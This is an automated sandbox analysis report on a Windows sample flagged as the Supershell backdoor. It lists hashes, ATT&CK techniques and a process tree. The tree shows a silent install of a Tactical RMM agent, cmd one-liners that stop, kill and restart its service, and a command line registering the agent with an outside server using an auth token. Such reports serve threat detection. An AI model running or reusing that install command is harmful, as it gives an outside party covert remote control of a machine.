supershell | 19766628f6af78f7bf91c736a62fb86978cb0efa46d25435a623bcd2142610a3

General

Target
2026-10-20_f3e2530d05a136637f99f8341548b75c_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
Size 5.0MB
Sample261021-pahc8aey5k
SHA256 19766628f6af78f7bf91c736a62fb86978cb0efa46d25435a623bcd2142610a3
MD5 f3e2530d05a136637f99f8341548b75c
SHA1 32c84fca9c7af1e88ee128d5bf05acab23cb0dfa
SHA512 e1e8bf321d7c5f4cdc153e8c0200c3d9d479312a09402fbf7b33cf4359da4f9a4c53b36e9f5e06fd8fcca6a6e045c608e9f1d9a2b25c6c68bbc5bbde140eb93f
SSDEEP 49152:sc7DMTgZbluOrprb/TcvO90d7HjmAFd4A64nsfJ7g2DWtZQJBSoD51ow/pyNFrX7:njZbluOrfrVbDfotNFb1E/+elM
TLSH
T1C8363B47F85551E8C1AED234CA259263BA707C891B3023D36BA0F7B82B73BD46E79354
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

backdoor defense_evasion discovery execution supershell installer

Malware Config

Signatures

Family: Supershell
Supershell is a cross-platfrom reverse shell written in Golang.
backdoor supershell

Executes dropped EXE 4 IoCs

pid	Process
4516	tacticalagent-v2.11.0-windows-amd64.exe
6120	tacticalagent-v2.11.0-windows-amd64.tmp
5844	tacticalrmm.exe
2752	tacticalrmm.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\TacticalAgent\unins000.dat	tacticalagent-v2.11.0-windows-amd64.tmp
File opened for modification	C:\Program Files\TacticalAgent\agent.log	tacticalrmm.exe
File opened for modification	C:\Program Files\TacticalAgent\agent.log	tacticalrmm.exe
File created	C:\Program Files\TacticalAgent\unins000.dat	tacticalagent-v2.11.0-windows-amd64.tmp
File created	C:\Program Files\TacticalAgent\is-UJP15.tmp	tacticalagent-v2.11.0-windows-amd64.tmp
File created	C:\Program Files\TacticalAgent\is-ONAQH.tmp	tacticalagent-v2.11.0-windows-amd64.tmp

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4824	cmd.exe
3052	cmd.exe
5108	cmd.exe
2784	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	tacticalrmm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	tacticalrmm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	tacticalrmm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-20_f3e2530d05a136637f99f8341548b75c_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-20_f3e2530d05a136637f99f8341548b75c_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tacticalagent-v2.11.0-windows-amd64.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tacticalagent-v2.11.0-windows-amd64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4824	cmd.exe
4328	PING.EXE

Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/files/0x000c00000001c5c6-2.dat	innosetup
behavioral2/memory/4516-4-0x0000000000A00000-0x0000000000AE2000-memory.dmp	innosetup
behavioral2/memory/4516-24-0x0000000000A00000-0x0000000000AE2000-memory.dmp	innosetup

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3656	taskkill.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4328	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5844	tacticalrmm.exe
2752	tacticalrmm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3656	taskkill.exe
Token: SeDebugPrivilege	5844	tacticalrmm.exe
Token: SeDebugPrivilege	2752	tacticalrmm.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
6120	tacticalagent-v2.11.0-windows-amd64.tmp

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 6068 wrote to memory of 4516	6068	2026-10-20_f3e2530d05a136637f99f8341548b75c_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe	90
PID 4516 wrote to memory of 6120	4516	tacticalagent-v2.11.0-windows-amd64.exe	91
PID 6120 wrote to memory of 4824	6120	tacticalagent-v2.11.0-windows-amd64.tmp	92
PID 4824 wrote to memory of 4328	4824	cmd.exe	94
PID 4824 wrote to memory of 52	4824	cmd.exe	95
PID 52 wrote to memory of 3780	52	net.exe	96
PID 6120 wrote to memory of 3052	6120	tacticalagent-v2.11.0-windows-amd64.tmp	97
PID 3052 wrote to memory of 3656	3052	cmd.exe	99
PID 6120 wrote to memory of 5108	6120	tacticalagent-v2.11.0-windows-amd64.tmp	101
PID 5108 wrote to memory of 5844	5108	cmd.exe	103
PID 6120 wrote to memory of 2784	6120	tacticalagent-v2.11.0-windows-amd64.tmp	104
PID 2784 wrote to memory of 1872	2784	cmd.exe	106
PID 1872 wrote to memory of 4860	1872	net.exe	107
PID 6068 wrote to memory of 2752	6068	2026-10-20_f3e2530d05a136637f99f8341548b75c_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe	108

C:\Users\Admin\AppData\Local\Temp\2026-10-20_f3e2530d05a136637f99f8341548b75c_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-20_f3e2530d05a136637f99f8341548b75c_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:6068
- C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe
  C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe /VERYSILENT /SUPPRESSMSGBOXES
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4516
- - C:\Users\Admin\AppData\Local\Temp\is-EPN03.tmp\tacticalagent-v2.11.0-windows-amd64.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-EPN03.tmp\tacticalagent-v2.11.0-windows-amd64.tmp" /SL5="$8011C,4216799,861184,C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe" /VERYSILENT /SUPPRESSMSGBOXES
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:6120
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrmm
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      Suspicious use of WriteProcessMemory
      PID:4824
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 2
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4328
    - - C:\Windows\SysWOW64\net.exe
        
        net stop tacticalrmm
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:52
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop tacticalrmm
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3780
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c taskkill /F /IM tacticalrmm.exe
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3052
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM tacticalrmm.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3656
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c tacticalrmm.exe -m installsvc
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5108
    - - C:\Program Files\TacticalAgent\tacticalrmm.exe
        
        tacticalrmm.exe -m installsvc
        5⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Reads the TCP/IP host and domain name from the registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5844
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c net start tacticalrmm
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2784
    - - C:\Windows\SysWOW64\net.exe
        
        net start tacticalrmm
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1872
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start tacticalrmm
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4860
- C:\Program Files\TacticalAgent\tacticalrmm.exe
  "C:\Program Files\TacticalAgent\tacticalrmm.exe" -m install --api https://api-tacticalrmm.jmfnetworks.net --client-id 3 --site-id 11 --agent-type workstation --auth 1b74bcc5c7cae41fb82e781c3bebbe00e3b7eafa0123afaac199c980429a32e7
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2752

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

2

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

tacticalrmm.exe

Path C:\Program Files\TacticalAgent\tacticalrmm.exe
Size 11.8MB
SHA256 50bd75acffec398028502fca967529f72cff40083dfbe137a9712628bcc0fef1
MD5 80870a33b3193b4ff3f7a69b5d7c0435
SHA1 cdde55f326b3a65eb245955dffc36df9a67e4d3a
SHA512 4b91cf7f666a702c46b2475e8cd71808b8ce4676049b126d9be132b470bb04b57be01fd68b2746ed6f4cba230f8acf3826b8150d9e4fd6fcb9c902e9e77c9670
SSDEEP 98304:MI3j/UYn30X1kTDVvCXjMbvO/E4QZBRABbgFxfvr4T:HQYEFK1EuOch/Cpofvrc
TLSH
T1A3C64B07F85551E8C5AED174CA659222BA713C890B3067D72BA0F7B83F33BD46A7A350
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tacticalagent-v2.11.0-windows-amd64.exe

Path C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe
Size 5.0MB
SHA256 99b5544169550f7915322411b90af71dc9883d53ba5938025e7db440b6cc1d5e
MD5 2d4dc1db99354c263cb0d1aece38a6e1
SHA1 8dc78c7e4319c07a7841e5ffb5efd364fb8fb84e
SHA512 fd3e496b1d299f55f6c4eae048523b00fe8283a12d6601de611d5895a3bcb8ebfb4bf8788b273b53f01784825e402863b6a67e382e4c85e2772601d76942bd6b
SSDEEP 98304:rxHXsCT42oq6JMQ0tJ0QBuBai0IrQfkm23FaoHKUdwwT3EQSQAIbC4qYh:VsCTdo5MDtJBu42Qfj8QUdwwTUQSl4x
TLSH
T14736121372CB653FE07A4A364972D232543B7E60AA128C66A7F45C6FFE261D01D3F642
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tacticalagent-v2.11.0-windows-amd64.tmp

Path C:\Users\Admin\AppData\Local\Temp\is-EPN03.tmp\tacticalagent-v2.11.0-windows-amd64.tmp
Size 3.4MB
SHA256 4e50d7fcd52abdf13c2159b53b6a4fa7c6483c3eaebf3bf792db129e6fd80e73
MD5 f6b0c1231af7693ae81b0db9f49ae666
SHA1 0a67071ce00758cc28d00ed1c2bd4b9ab8e70e47
SHA512 2a6b41df2def3d29fecffd601edc2dc25094ec1f073d9d4b6d4707139849ace99f0e5653942260f96670d319e8f37cf4ef48f672b840ae2810be29c9df2cb423
SSDEEP 49152:2WwGHAkqMu7ot6SCiGogq5i18ue5TEhkq2nV9oNq3Z52gu3cfcW333dKR:29GdkS5i181E2V9oKdu3W333dy
TLSH
T126F55C23F24D693ED05B3E3D663792B0987B7A602D128C576AEC3E4C5F355802E2A747
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4516-4-0x0000000000A00000-0x0000000000AE2000-memory.dmp

Download

memory/4516-24-0x0000000000A00000-0x0000000000AE2000-memory.dmp

Download

memory/6120-10-0x0000000003230000-0x0000000003231000-memory.dmp

Download

memory/6120-23-0x0000000000B20000-0x0000000000E8E000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads